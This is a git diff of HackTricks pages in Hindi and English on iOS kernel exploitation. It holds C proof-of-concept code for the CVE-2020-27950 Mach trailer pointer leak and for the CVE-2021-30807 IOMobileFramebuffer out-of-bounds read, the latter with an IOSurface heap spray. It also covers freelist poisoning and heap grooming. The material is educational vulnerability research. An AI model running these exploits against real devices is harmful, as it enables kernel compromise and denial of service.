* the low 4 bytes of a stale ipc_port* pointer from the prior message.
|
||||
*/
|
||||
small_message->header.msgh_size = small_size + sizeof(uint32_t); // +4 to shift overlap window
|
||||
printf("[*] Sending message 2\n");
|
||||
mach_msg(&small_message->header,
|
||||
MACH_SEND_MSG,
|
||||
small_size + sizeof(uint32_t),
|
||||
0,
|
||||
MACH_PORT_NULL,
|
||||
MACH_MSG_TIMEOUT_NONE,
|
||||
MACH_PORT_NULL);
|
||||
|
||||
/*
|
||||
* Step D: Receive message 2 and request an invalid trailer elements value (5).
|
||||
* - Bits 24..27 (MACH_RCV_TRAILER_MASK) are nonzero → the kernel computes a trailer.
|
||||
* - Elements=5 doesn't match any valid enum → REQUESTED_TRAILER_SIZE(...) falls back to max size.
|
||||
* - BUT init of certain fields (like `ad`) is guarded by >= MACH_RCV_TRAILER_AV (7),
|
||||
* so with 5, `msgh_ad` remains uninitialized → stale bytes leak.
|
||||
*/
|
||||
memset(buffer, 0, big_size + MAX_TRAILER_SIZE);
|
||||
printf("[*] Reading back message 2\n");
|
||||
mach_msg((mach_msg_header_t *)buffer,
|
||||
MACH_RCV_MSG | MACH_RCV_TRAILER_ELEMENTS(5), // core of CVE-2020-27950
|
||||
0,
|
||||
small_size + sizeof(uint32_t) + MAX_TRAILER_SIZE, // ensure room for max trailer
|
||||
port,
|
||||
MACH_MSG_TIMEOUT_NONE,
|
||||
MACH_PORT_NULL);
|
||||
|
||||
// Trailer begins right after the message body we sent (small_size + 4)
|
||||
trailer = (mach_msg_mac_trailer_t *)(buffer + small_size + sizeof(uint32_t));
|
||||
|
||||
// Leak low 32 bits from msgh_ad (stale data → expected to be the low dword of an ipc_port*)
|
||||
sent_port_address |= (uint32_t)trailer->msgh_ad;
|
||||
|
||||
/*
|
||||
* Step E: Repeat the A→D cycle but now shift by another +4 bytes.
|
||||
* This moves the overlap window so `msgh_ad` captures the high 4 bytes.
|
||||
*/
|
||||
printf("[*] Sending message 3\n");
|
||||
mach_msg(&big_message->header, MACH_SEND_MSG, big_size, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
|
||||
|
||||
printf("[*] Discarding message 3\n");
|
||||
mach_msg((mach_msg_header_t *)0, MACH_RCV_MSG, 0, 0, port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
|
||||
|
||||
// add another +4 to msgh_size → total +8 shift from the baseline
|
||||
small_message->header.msgh_size = small_size + sizeof(uint32_t)*2;
|
||||
printf("[*] Sending message 4\n");
|
||||
mach_msg(&small_message->header,
|
||||
MACH_SEND_MSG,
|
||||
small_size + sizeof(uint32_t)*2,
|
||||
0,
|
||||
MACH_PORT_NULL,
|
||||
MACH_MSG_TIMEOUT_NONE,
|
||||
MACH_PORT_NULL);
|
||||
|
||||
memset(buffer, 0, big_size + MAX_TRAILER_SIZE);
|
||||
printf("[*] Reading back message 4\n");
|
||||
mach_msg((mach_msg_header_t *)buffer,
|
||||
MACH_RCV_MSG | MACH_RCV_TRAILER_ELEMENTS(5),
|
||||
0,
|
||||
small_size + sizeof(uint32_t)*2 + MAX_TRAILER_SIZE,
|
||||
port,
|
||||
MACH_MSG_TIMEOUT_NONE,
|
||||
MACH_PORT_NULL);
|
||||
|
||||
trailer = (mach_msg_mac_trailer_t *)(buffer + small_size + sizeof(uint32_t)*2);
|
||||
|
||||
// Combine the high 32 bits, reconstructing the full 64-bit kernel pointer
|
||||
sent_port_address |= ((uintptr_t)trailer->msgh_ad) << 32;
|
||||
|
||||
printf("[+] Port %x has address %lX\n", sent_port, sent_port_address);
|
||||
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
## संदर्भ
|
||||
|
||||
- [Synacktiv का ब्लॉग पोस्ट](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak)
|
||||
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
@ -0,0 +1,297 @@
|
||||
# CVE-2021-30807: IOMobileFrameBuffer OOB
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## बग
|
||||
|
||||
यहाँ [vuln का एक शानदार स्पष्टीकरण](https://saaramar.github.io/IOMobileFrameBuffer_LPE_POC/), लेकिन संक्षेप में:
|
||||
|
||||
- कमजोर कोड पथ **external method #83** है **IOMobileFramebuffer / AppleCLCD** user client का: `IOMobileFramebufferUserClient::s_displayed_fb_surface(...)`. यह method एक ऐसा parameter प्राप्त करता है जो user द्वारा नियंत्रित होता है, किसी भी तरह से जाँचा नहीं जाता और अगले function को **`scalar0`** के रूप में पास होता है।
|
||||
|
||||
- वह method आगे फ़ॉरवर्ड करता है **`IOMobileFramebufferLegacy::get_displayed_surface(this, task*, out_id, scalar0)`** में, जहाँ **`scalar0`** (एक user-controlled **32-bit** value) बिना किसी **bounds check** के एक आंतरिक **pointers के array** में **index** के रूप में उपयोग होता है:
|
||||
|
||||
> `ptr = *(this + 0xA58 + scalar0 * 8);` → passed to `IOSurfaceRoot::copyPortNameForSurfaceInTask(...)` as an **`IOSurface*`**.\
|
||||
> **परिणाम:** **OOB pointer read & type confusion** उस array पर। यदि pointer वैध नहीं है, तो kernel deref पैनिक करेगा → **DoS**।
|
||||
|
||||
> [!NOTE]
|
||||
> यह **iOS/iPadOS 14.7.1**, **macOS Big Sur 11.5.1**, **watchOS 7.6.1** में फिक्स किया गया था
|
||||
|
||||
|
||||
> [!WARNING]
|
||||
> `IOMobileFramebufferUserClient::s_displayed_fb_surface(...)` को कॉल करने वाला प्रारम्भिक function entitlement **`com.apple.private.allow-explicit-graphics-priority`** द्वारा सुरक्षित है। हालाँकि, **WebKit.WebContent** के पास यह entitlement है, इसलिए इसे sandboxed process से vuln को trigger करने के लिए प्रयोग किया जा सकता है।
|
||||
|
||||
## DoS PoC
|
||||
|
||||
निम्नलिखित मूल ब्लॉग पोस्ट से प्रारम्भिक DoS PoC है, अतिरिक्त टिप्पणियों के साथ:
|
||||
```c
|
||||
// PoC for CVE-2021-30807 trigger (annotated)
|
||||
// NOTE: This demonstrates the crash trigger; it is NOT an LPE.
|
||||
// Build/run only on devices you own and that are vulnerable.
|
||||
// Patched in iOS/iPadOS 14.7.1, macOS 11.5.1, watchOS 7.6.1. (Apple advisory)
|
||||
// https://support.apple.com/en-us/103144
|
||||
// https://nvd.nist.gov/vuln/detail/CVE-2021-30807
|
||||
|
||||
void trigger_clcd_vuln(void) {
|
||||
kern_return_t ret;
|
||||
io_connect_t shared_user_client_conn = MACH_PORT_NULL;
|
||||
|
||||
// The "type" argument is the type (selector) of user client to open.
|
||||
// For IOMobileFramebuffer, 2 typically maps to a user client that exposes the
|
||||
// external methods we need (incl. selector 83). If this doesn't work on your
|
||||
// build, try different types or query IORegistry to enumerate.
|
||||
int type = 2;
|
||||
|
||||
// 1) Locate the IOMobileFramebuffer service in the IORegistry.
|
||||
// This returns the first matched service object (a kernel object handle).
|
||||
io_service_t service = IOServiceGetMatchingService(
|
||||
kIOMasterPortDefault,
|
||||
IOServiceMatching("IOMobileFramebuffer"));
|
||||
|
||||
if (service == MACH_PORT_NULL) {
|
||||
printf("failed to open service\n");
|
||||
return;
|
||||
}
|
||||
|
||||
printf("service: 0x%x\n", service);
|
||||
|
||||
// 2) Open a connection (user client) to the service.
|
||||
// The user client is what exposes external methods to userland.
|
||||
// 'type' selects which user client class/variant to instantiate.
|
||||
ret = IOServiceOpen(service, mach_task_self(), type, &shared_user_client_conn);
|
||||
if (ret != KERN_SUCCESS) {
|
||||
printf("failed to open userclient: %s\n", mach_error_string(ret));
|
||||
return;
|
||||
}
|
||||
|
||||
printf("client: 0x%x\n", shared_user_client_conn);
|
||||
|
||||
printf("call externalMethod\n");
|
||||
|
||||
// 3) Prepare input scalars for the external method call.
|
||||
// The vulnerable path uses a 32-bit scalar as an INDEX into an internal
|
||||
// array of pointers WITHOUT bounds checking (OOB read / type confusion).
|
||||
// We set it to a large value to force the out-of-bounds access.
|
||||
uint64_t scalars[4] = { 0x0 };
|
||||
scalars[0] = 0x41414141; // **Attacker-controlled index** → OOB pointer lookup
|
||||
|
||||
// 4) Prepare output buffers (the method returns a scalar, e.g. a surface ID).
|
||||
uint64_t output_scalars[4] = { 0 };
|
||||
uint32_t output_scalars_size = 1;
|
||||
|
||||
printf("call s_default_fb_surface\n");
|
||||
|
||||
// 5) Invoke external method #83.
|
||||
// On vulnerable builds, this path ends up calling:
|
||||
// IOMobileFramebufferUserClient::s_displayed_fb_surface(...)
|
||||
// → IOMobileFramebufferLegacy::get_displayed_surface(...)
|
||||
// which uses our index to read a pointer and then passes it as IOSurface*.
|
||||
// If the pointer is bogus, IOSurface code will dereference it and the kernel
|
||||
// will panic (DoS).
|
||||
ret = IOConnectCallMethod(
|
||||
shared_user_client_conn,
|
||||
83, // **Selector 83**: vulnerable external method
|
||||
scalars, 1, // input scalars (count = 1; the OOB index)
|
||||
NULL, 0, // no input struct
|
||||
output_scalars, &output_scalars_size, // optional outputs
|
||||
NULL, NULL); // no output struct
|
||||
|
||||
// 6) Check the call result. On many vulnerable targets, you'll see either
|
||||
// KERN_SUCCESS right before a panic (because the deref happens deeper),
|
||||
// or an error if the call path rejects the request (e.g., entitlement/type).
|
||||
if (ret != KERN_SUCCESS) {
|
||||
printf("failed to call external method: 0x%x --> %s\n",
|
||||
ret, mach_error_string(ret));
|
||||
return;
|
||||
}
|
||||
|
||||
printf("external method returned KERN_SUCCESS\n");
|
||||
|
||||
// 7) Clean up the user client connection handle.
|
||||
IOServiceClose(shared_user_client_conn);
|
||||
printf("success!\n");
|
||||
}
|
||||
```
|
||||
## Arbitrary Read PoC समझाया गया
|
||||
|
||||
1. **सही user client खोलना**
|
||||
|
||||
- `get_appleclcd_uc()` **AppleCLCD** सेवा ढूँढता है और **user client type 2** खोलता है। AppleCLCD और IOMobileFramebuffer समान external-methods table साझा करते हैं; type 2 **selector 83** को एक्सपोज़ करता है, जो vulnerable method है। **यह बग में आपका प्रवेश है।** E_POC/)
|
||||
|
||||
**क्यों 83 मायने रखता है:** डिकम्पाइल किया हुआ path है:
|
||||
|
||||
- `IOMobileFramebufferUserClient::s_displayed_fb_surface(...)`\
|
||||
→ `IOMobileFramebufferUserClient::get_displayed_surface(...)`\
|
||||
→ `IOMobileFramebufferLegacy::get_displayed_surface(...)`\
|
||||
उस आखिरी कॉल के अंदर, कोड **आपके 32-bit scalar को बिना किसी bounds check के array index की तरह इस्तेमाल करता है**, **`this + 0xA58 + index*8`** से एक pointer फेच करता है, और उसे `IOSurfaceRoot::copyPortNameForSurfaceInTask(...)` को `IOSurface*` के रूप में पास करता है। **यह OOB + type confusion है।**
|
||||
|
||||
2. **The heap spray (यहाँ IOSurface क्यों दिखाई देता है)**
|
||||
|
||||
- `do_spray()` **`IOSurfaceRootUserClient`** का उपयोग करके कई IOSurfaces बनाता है और छोटे मान spray करता है (`s_set_value` style). यह पास के kernel heaps को **valid IOSurface objects के pointers** से भर देता है।
|
||||
|
||||
- **लक्ष्य:** जब selector 83 legit table से आगे पढ़ता है, तो संभवतः **OOB slot में आपके (real) IOSurfaces में से किसी एक का pointer होगा** — इसलिए बाद में dereference **crash नहीं करेगा** और **सफल होगा**। IOSurface एक क्लासिक, अच्छी तरह documented kernel spray primitive है, और Saar का पोस्ट स्पष्ट रूप से इस exploitation flow में उपयोग किए गए **create / set_value / lookup** methods को सूचीबद्ध करता है।
|
||||
|
||||
3. **The "offset/8" trick (वास्तव में वह index क्या है)**
|
||||
|
||||
- `trigger_oob(offset)` में, आप `scalars[0] = offset / 8` सेट करते हैं।
|
||||
|
||||
- **क्यों 8 से भाग?** Kernel गणना के लिए **`base + index*8`** करता है कि कौन-सा **pointer-sized slot** पढ़ना है। आप **"slot number N"** चुन रहे हैं, न कि byte offset. 64-bit पर **प्रति slot आठ bytes**।
|
||||
|
||||
- वह गणना किया हुआ address **`this + 0xA58 + index*8`** है। PoC एक बड़ा constant (`0x1200000 + 0x1048`) उपयोग करता है सिर्फ इसलिए कि वह **बहुत दूर OOB** में चले जाए उस region में जिसे आपने **IOSurface pointers से घनीभूत करने की कोशिश की है**। **अगर spray "जीतता" है, तो जिस slot पर आप पहुँचते हैं वह एक वैध `IOSurface*` होगा।**
|
||||
|
||||
4. **selector 83 क्या return करता है (यह सूक्ष्म हिस्सा है)**
|
||||
|
||||
- कॉल है:
|
||||
|
||||
`IOConnectCallMethod(appleclcd_uc, 83, scalars, 1, NULL, 0,
|
||||
output_scalars, &output_scalars_size, NULL, NULL);`
|
||||
|
||||
- आंतरिक रूप से, OOB pointer fetch के बाद, driver कॉल करता है\
|
||||
**`IOSurfaceRoot::copyPortNameForSurfaceInTask(task, IOSurface*, out_u32*)`**।
|
||||
|
||||
- **परिणाम:** **`output_scalars[0]` आपके task में एक Mach port name (u32 handle) है** उस object pointer के लिए जो आपने OOB के माध्यम से दिया था। **यह raw kernel address leak नहीं है; यह एक userspace handle (send right) है।** यह व्यवहार (एक *port name* कॉपी करना) Saar के decompilation में दिखाया गया है।
|
||||
|
||||
**यह उपयोगी क्यों है:** जिस (सम्भावित) IOSurface के लिए आपका एक **port name** है, आप अब **IOSurfaceRoot methods** जैसे उपयोग कर सकते हैं:
|
||||
|
||||
- **`s_lookup_surface_from_port` (method 34)** → पोर्ट को एक **surface ID** में बदलें जिसे आप अन्य IOSurface calls के माध्यम से ऑपरेट कर सकते हैं, और
|
||||
|
||||
- **`s_create_port_from_surface` (method 35)** यदि आपको उलटा चाहिए।\
|
||||
Saar इन सटीक methods को अगले कदम के रूप में बताता है। **PoC यह साबित कर रहा है कि आप OOB slot से एक वैध IOSurface handle "manufacture" कर सकते हैं।** [Saaramar](https://saaramar.github.io/IOMobileFrameBuffer_LPE_POC/?utm_source=chatgpt.com)
|
||||
|
||||
This [PoC was taken from here](https://github.com/saaramar/IOMobileFrameBuffer_LPE_POC/blob/main/poc/exploit.c) और चरणों की व्याख्या के लिए कुछ comments जोड़े गए हैं:
|
||||
```c
|
||||
#include "exploit.h"
|
||||
|
||||
// Open the AppleCLCD (aka IOMFB) user client so we can call external methods.
|
||||
io_connect_t get_appleclcd_uc(void) {
|
||||
kern_return_t ret;
|
||||
io_connect_t shared_user_client_conn = MACH_PORT_NULL;
|
||||
int type = 2; // **UserClient type**: variant that exposes selector 83 on affected builds. ⭐
|
||||
// (AppleCLCD and IOMobileFramebuffer share the same external methods table.)
|
||||
|
||||
// Find the **AppleCLCD** service in the IORegistry.
|
||||
io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault,
|
||||
IOServiceMatching("AppleCLCD"));
|
||||
if(service == MACH_PORT_NULL) {
|
||||
printf("[-] failed to open service\n");
|
||||
return MACH_PORT_NULL;
|
||||
}
|
||||
printf("[*] AppleCLCD service: 0x%x\n", service);
|
||||
|
||||
// Open a user client connection to AppleCLCD with the chosen **type**.
|
||||
ret = IOServiceOpen(service, mach_task_self(), type, &shared_user_client_conn);
|
||||
if(ret != KERN_SUCCESS) {
|
||||
printf("[-] failed to open userclient: %s\n", mach_error_string(ret));
|
||||
return MACH_PORT_NULL;
|
||||
}
|
||||
printf("[*] AppleCLCD userclient: 0x%x\n", shared_user_client_conn);
|
||||
return shared_user_client_conn;
|
||||
}
|
||||
|
||||
// Trigger the OOB index path of external method #83.
|
||||
// The 'offset' you pass is in bytes; dividing by 8 converts it to the
|
||||
// index of an 8-byte pointer slot in the internal table at (this + 0xA58).
|
||||
uint64_t trigger_oob(uint64_t offset) {
|
||||
kern_return_t ret;
|
||||
|
||||
// The method takes a single 32-bit scalar that it uses as an index.
|
||||
uint64_t scalars[1] = { 0x0 };
|
||||
scalars[0] = offset / 8; // **index = byteOffset / sizeof(void*)**. ⭐
|
||||
|
||||
// #83 returns one scalar. In this flow it will be the Mach port name
|
||||
// (a u32 handle in our task), not a kernel pointer.
|
||||
uint64_t output_scalars[1] = { 0 };
|
||||
uint32_t output_scalars_size = 1;
|
||||
|
||||
io_connect_t appleclcd_uc = get_appleclcd_uc();
|
||||
if (appleclcd_uc == MACH_PORT_NULL) {
|
||||
return 0;
|
||||
}
|
||||
|
||||
// Call external method 83. Internally:
|
||||
// ptr = *(this + 0xA58 + index*8); // OOB pointer fetch
|
||||
// IOSurfaceRoot::copyPortNameForSurfaceInTask(task, (IOSurface*)ptr, &out)
|
||||
// which creates a send right for that object and writes its port name
|
||||
// into output_scalars[0]. If ptr is junk → deref/panic (DoS).
|
||||
ret = IOConnectCallMethod(appleclcd_uc, 83,
|
||||
scalars, 1,
|
||||
NULL, 0,
|
||||
output_scalars, &output_scalars_size,
|
||||
NULL, NULL);
|
||||
|
||||
if (ret != KERN_SUCCESS) {
|
||||
printf("[-] external method 83 failed: %s\n", mach_error_string(ret));
|
||||
return 0;
|
||||
}
|
||||
|
||||
// This is the key: you get back a Mach port name (u32) to whatever
|
||||
// object was at that OOB slot (ideally an IOSurface you sprayed).
|
||||
printf("[*] external method 83 returned: 0x%llx\n", output_scalars[0]);
|
||||
return output_scalars[0];
|
||||
}
|
||||
|
||||
// Heap-shape with IOSurfaces so an OOB slot likely contains a pointer to a
|
||||
// real IOSurface (easier & stabler than a fully fake object).
|
||||
bool do_spray(void) {
|
||||
char data[0x10];
|
||||
memset(data, 0x41, sizeof(data)); // Tiny payload for value spraying.
|
||||
|
||||
// Get IOSurfaceRootUserClient (reachable from sandbox/WebContent).
|
||||
io_connect_t iosurface_uc = get_iosurface_root_uc();
|
||||
if (iosurface_uc == MACH_PORT_NULL) {
|
||||
printf("[-] do_spray: failed to allocate new iosurface_uc\n");
|
||||
return false;
|
||||
}
|
||||
|
||||
// Create many IOSurfaces and use set_value / value spray helpers
|
||||
// (Brandon Azad-style) to fan out allocations in kalloc. ⭐
|
||||
int *surface_ids = (int*)malloc(SURFACES_COUNT * sizeof(int));
|
||||
for (size_t i = 0; i < SURFACES_COUNT; ++i) {
|
||||
surface_ids[i] = create_surface(iosurface_uc); // s_create_surface
|
||||
if (surface_ids[i] <= 0) {
|
||||
return false;
|
||||
}
|
||||
|
||||
// Spray small values repeatedly: tends to allocate/fill predictable
|
||||
// kalloc regions near where the IOMFB table OOB will read from.
|
||||
// The “with_gc” flavor forces periodic GC to keep memory moving/packed.
|
||||
if (IOSurface_spray_with_gc(iosurface_uc, surface_ids[i],
|
||||
20, 200, // rounds, per-round items
|
||||
data, sizeof(data),
|
||||
NULL) == false) {
|
||||
printf("iosurface spray failed\n");
|
||||
return false;
|
||||
}
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
int main(void) {
|
||||
// Ensure we can talk to IOSurfaceRoot (some helpers depend on it).
|
||||
io_connect_t iosurface_uc = get_iosurface_root_uc();
|
||||
if (iosurface_uc == MACH_PORT_NULL) {
|
||||
return 0;
|
||||
}
|
||||
|
||||
printf("[*] do spray\n");
|
||||
if (do_spray() == false) {
|
||||
printf("[-] shape failed, abort\n");
|
||||
return 1;
|
||||
}
|
||||
printf("[*] spray success\n");
|
||||
|
||||
// Trigger the OOB read. The magic constant chooses a pointer-slot
|
||||
// far beyond the legit array (offset is in bytes; index = offset/8).
|
||||
// If the spray worked, this returns a **Mach port name** (handle) to one
|
||||
// of your sprayed IOSurfaces; otherwise it may crash.
|
||||
printf("[*] trigger\n");
|
||||
trigger_oob(0x1200000 + 0x1048);
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
## संदर्भ
|
||||
- [Original writeup by Saar Amar](https://saaramar.github.io/IOMobileFrameBuffer_LPE_POC/)
|
||||
- [Exploit PoC code](https://github.com/saaramar/IOMobileFrameBuffer_LPE_POC)
|
||||
- [Research from jsherman212](https://jsherman212.github.io/2021/11/28/popping_ios14_with_iomfb.html?utm_source=chatgpt.com)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
257
src/binary-exploitation/ios-exploiting/README.md
Normal file
257
src/binary-exploitation/ios-exploiting/README.md
Normal file
@ -0,0 +1,257 @@
|
||||
# iOS Exploiting
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## iOS Exploit Mitigations
|
||||
|
||||
- **Code Signing** in iOS works by requiring every piece of executable code (apps, libraries, extensions, etc.) to be cryptographically signed with a certificate issued by Apple. When code is loaded, iOS verifies the digital signature against Apple’s trusted root. If the signature is invalid, missing, or modified, the OS refuses to run it. This prevents attackers from injecting malicious code into legitimate apps or running unsigned binaries, effectively stopping most exploit chains that rely on executing arbitrary or tampered code.
|
||||
- **CoreTrust** is the iOS subsystem responsible for enforcing code signing at runtime. It directly verifies signatures using Apple’s root certificate without relying on cached trust stores, meaning only binaries signed by Apple (or with valid entitlements) can execute. CoreTrust ensures that even if an attacker tampers with an app after installation, modifies system libraries, or tries to load unsigned code, the system will block execution unless the code is still properly signed. This strict enforcement closes many post-exploitation vectors that older iOS versions allowed through weaker or bypassable signature checks.
|
||||
- **Data Execution Prevention (DEP)** marks memory regions as non-executable unless they explicitly contain code. This stops attackers from injecting shellcode into data regions (like the stack or heap) and running it, forcing them to rely on more complex techniques like ROP (Return-Oriented Programming).
|
||||
- **ASLR (Address Space Layout Randomization)** randomizes the memory addresses of code, libraries, stack, and heap every time the system runs. This makes it much harder for attackers to predict where useful instructions or gadgets are, breaking many exploit chains that depend on fixed memory layouts.
|
||||
- **KASLR (Kernel ASLR)** applies the same randomization concept to the iOS kernel. By shuffling the kernel’s base address at each boot, it prevents attackers from reliably locating kernel functions or structures, raising the difficulty of kernel-level exploits that would otherwise gain full system control.
|
||||
- **Kernel Patch Protection (KPP)** also known as **AMCC (Apple Mobile File Integrity)** in iOS, continuously monitors the kernel’s code pages to ensure they haven’t been modified. If any tampering is detected—such as an exploit trying to patch kernel functions or insert malicious code—the device will immediately panic and reboot. This protection makes persistent kernel exploits far harder, as attackers can’t simply hook or patch kernel instructions without triggering a system crash.
|
||||
- **Kernel Text Readonly Region (KTRR)** is a hardware-based security feature introduced on iOS devices. It uses the CPU’s memory controller to mark the kernel’s code (text) section as permanently read-only after boot. Once locked, even the kernel itself cannot modify this memory region. This prevents attackers—and even privileged code—from patching kernel instructions at runtime, closing off a major class of exploits that relied on modifying kernel code directly.
|
||||
- **Pointer Authentication Codes (PAC)** use cryptographic signatures embedded into unused bits of pointers to verify their integrity before use. When a pointer (like a return address or function pointer) is created, the CPU signs it with a secret key; before dereferencing, the CPU checks the signature. If the pointer was tampered with, the check fails and execution stops. This prevents attackers from forging or reusing corrupted pointers in memory corruption exploits, making techniques like ROP or JOP much harder to pull off reliably.
|
||||
- **Privilege Access never (PAN)** is a hardware feature that prevents the kernel (privileged mode) from directly accessing user-space memory unless it explicitly enables access. This stops attackers who gained kernel code execution from easily reading or writing user memory to escalate exploits or steal sensitive data. By enforcing strict separation, PAN reduces the impact of kernel exploits and blocks many common privilege-escalation techniques.
|
||||
- **Page Protection Layer (PPL)** is an iOS security mechanism that protects critical kernel-managed memory regions, especially those related to code signing and entitlements. It enforces strict write protections using the MMU (Memory Management Unit) and additional checks, ensuring that even privileged kernel code cannot arbitrarily modify sensitive pages. This prevents attackers who gain kernel-level execution from tampering with security-critical structures, making persistence and code-signing bypasses significantly harder.
|
||||
|
||||
## Old Kernel Heap (Pre-iOS 15 / Pre-A12 era)
|
||||
|
||||
The kernel used a **zone allocator** (`kalloc`) divided into fixed-size "zones."
|
||||
Each zone only stores allocations of a single size class.
|
||||
|
||||
From the screenshot:
|
||||
|
||||
| Zone Name | Element Size | Example Use |
|
||||
|----------------------|--------------|-----------------------------------------------------------------------------|
|
||||
| `default.kalloc.16` | 16 bytes | Very small kernel structs, pointers. |
|
||||
| `default.kalloc.32` | 32 bytes | Small structs, object headers. |
|
||||
| `default.kalloc.64` | 64 bytes | IPC messages, tiny kernel buffers. |
|
||||
| `default.kalloc.128` | 128 bytes | Medium objects like parts of `OSObject`. |
|
||||
| `default.kalloc.256` | 256 bytes | Larger IPC messages, arrays, device structures. |
|
||||
| … | … | … |
|
||||
| `default.kalloc.1280`| 1280 bytes | Large structures, IOSurface/graphics metadata. |
|
||||
|
||||
**How it worked:**
|
||||
- Each allocation request gets **rounded up** to the nearest zone size.
|
||||
(E.g., a 50-byte request lands in the `kalloc.64` zone).
|
||||
- Memory in each zone was kept in a **free list** — chunks freed by the kernel went back into that zone.
|
||||
- If you overflowed a 64-byte buffer, you’d overwrite the **next object in the same zone**.
|
||||
|
||||
This is why **heap spraying / feng shui** was so effective: you could predict object neighbors by spraying allocations of the same size class.
|
||||
|
||||
### The freelist
|
||||
|
||||
Inside each kalloc zone, freed objects weren’t returned directly to the system — they went into a freelist, a linked list of available chunks.
|
||||
|
||||
- When a chunk was freed, the kernel wrote a pointer at the start of that chunk → the address of the next free chunk in the same zone.
|
||||
|
||||
- The zone kept a HEAD pointer to the first free chunk.
|
||||
|
||||
- Allocation always used the current HEAD:
|
||||
|
||||
1. Pop HEAD (return that memory to the caller).
|
||||
|
||||
2. Update HEAD = HEAD->next (stored in the freed chunk’s header).
|
||||
|
||||
- Freeing pushed chunks back:
|
||||
|
||||
- `freed_chunk->next = HEAD`
|
||||
|
||||
- `HEAD = freed_chunk`
|
||||
|
||||
So the freelist was just a linked list built inside the freed memory itself.
|
||||
|
||||
Normal state:
|
||||
```
|
||||
Zone page (64-byte chunks for example):
|
||||
[ A ] [ F ] [ F ] [ A ] [ F ] [ A ] [ F ]
|
||||
|
||||
Freelist view:
|
||||
HEAD ──► [ F ] ──► [ F ] ──► [ F ] ──► [ F ] ──► NULL
|
||||
(next ptrs stored at start of freed chunks)
|
||||
```
|
||||
### freelist का शोषण
|
||||
|
||||
क्योंकि एक free chunk के पहले 8 bytes = freelist pointer होते हैं, एक attacker इसे corrupt कर सकता है:
|
||||
|
||||
1. **Heap overflow** एक adjacent freed chunk में → उसके “next” pointer को overwrite कर देना।
|
||||
2. **Use-after-free** एक freed object में write करके → उसके “next” pointer को overwrite कर देना।
|
||||
|
||||
फिर, उस size की अगली allocation पर:
|
||||
|
||||
- allocator corrupted chunk को pop कर देता है।
|
||||
- attacker-supplied “next” pointer का पालन करता है।
|
||||
- एक pointer arbitrary memory की ओर return करता है, जिससे fake object primitives या targeted overwrite संभव हो जाता है।
|
||||
|
||||
Visual example of freelist poisoning:
|
||||
```
|
||||
Before corruption:
|
||||
HEAD ──► [ F1 ] ──► [ F2 ] ──► [ F3 ] ──► NULL
|
||||
|
||||
After attacker overwrite of F1->next:
|
||||
HEAD ──► [ F1 ]
|
||||
(next) ──► 0xDEAD_BEEF_CAFE_BABE (attacker-chosen)
|
||||
|
||||
Next alloc of this zone → kernel hands out memory at attacker-controlled address.
|
||||
```
|
||||
This freelist design ने hardening से पहले exploitation को बहुत प्रभावी बना दिया था: predictable neighbors from heap sprays, raw pointer freelist links, और type separation का अभाव attackers को UAF/overflow बग्स को arbitrary kernel memory control में escalate करने की अनुमति देता था।
|
||||
|
||||
### Heap Grooming / Feng Shui
|
||||
The goal of heap grooming is to **shape the heap layout** ताकि जब attacker overflow या use-after-free trigger करे, तो target (victim) object ठीक attacker-controlled object के बगल में बैठे।\
|
||||
इस तरह, जब memory corruption होता है, attacker reliably victim object को controlled data से overwrite कर सकता है।
|
||||
|
||||
**Steps:**
|
||||
|
||||
1. Spray allocations (fill the holes)
|
||||
- समय के साथ, kernel heap fragmented हो जाता है: कुछ zones में holes बन जाते हैं जहाँ पुराने objects free हुए थे।
|
||||
- attacker पहले बहुत सारे dummy allocations करके इन gaps को भरता है, ताकि heap “packed” और predictable बन जाए।
|
||||
|
||||
2. Force new pages
|
||||
- एक बार holes भर दिए जाने पर, अगली allocations उन new pages से आनी चाहिए जो zone में जोड़ी गई हों।
|
||||
- Fresh pages का मतलब है कि objects cluster होंगे, पुराने fragmented memory में बिखरे नहीं होंगे।
|
||||
- इससे attacker को neighbors पर बेहतर control मिलता है।
|
||||
|
||||
3. Place attacker objects
|
||||
- attacker अब फिर से spray करता है, उन new pages में बहुत सारे attacker-controlled objects बनाता है।
|
||||
- ये objects size और placement में predictable होते हैं (क्योंकि ये सभी उसी zone के हैं)।
|
||||
|
||||
4. Free a controlled object (make a gap)
|
||||
- attacker जानबूझकर अपने एक object को free करता है।
|
||||
- इससे heap में एक “hole” बनता है, जिसे allocator बाद में उसी size की अगली allocation के लिए reuse करेगा।
|
||||
|
||||
5. Victim object lands in the hole
|
||||
- attacker kernel को trigger करता है ताकि victim object (जिसे वे corrupt करना चाहते हैं) allocate हो।
|
||||
- चूँकि hole freelist में पहला उपलब्ध slot होता है, victim ठीक वहाँ रखा जाता है जहाँ attacker ने अपना object free किया था।
|
||||
|
||||
6. Overflow / UAF into victim
|
||||
- अब attacker के पास victim के आसपास attacker-controlled objects होते हैं।
|
||||
- अपने किसी object से overflow कर के (या freed object को reuse करके), वे reliably victim’s memory fields को चुने हुए मानों से overwrite कर सकते हैं।
|
||||
|
||||
**Why it works**:
|
||||
|
||||
- Zone allocator predictability: एक ही size की allocations हमेशा उसी zone से आती हैं।
|
||||
- Freelist behavior: नई allocations सबसे हाल ही में free हुए chunk को पहले reuse करती हैं।
|
||||
- Heap sprays: attacker predictable content से memory भरता है और layout को नियंत्रित करता है।
|
||||
- End result: attacker नियंत्रित करता है कि victim object कहाँ आएगा और उसके पास कौन सा data रहेगा।
|
||||
|
||||
---
|
||||
|
||||
## Modern Kernel Heap (iOS 15+/A12+ SoCs)
|
||||
|
||||
Apple ने allocator को harden किया और **heap grooming को काफी कठिन** बना दिया:
|
||||
|
||||
### 1. From Classic kalloc to kalloc_type
|
||||
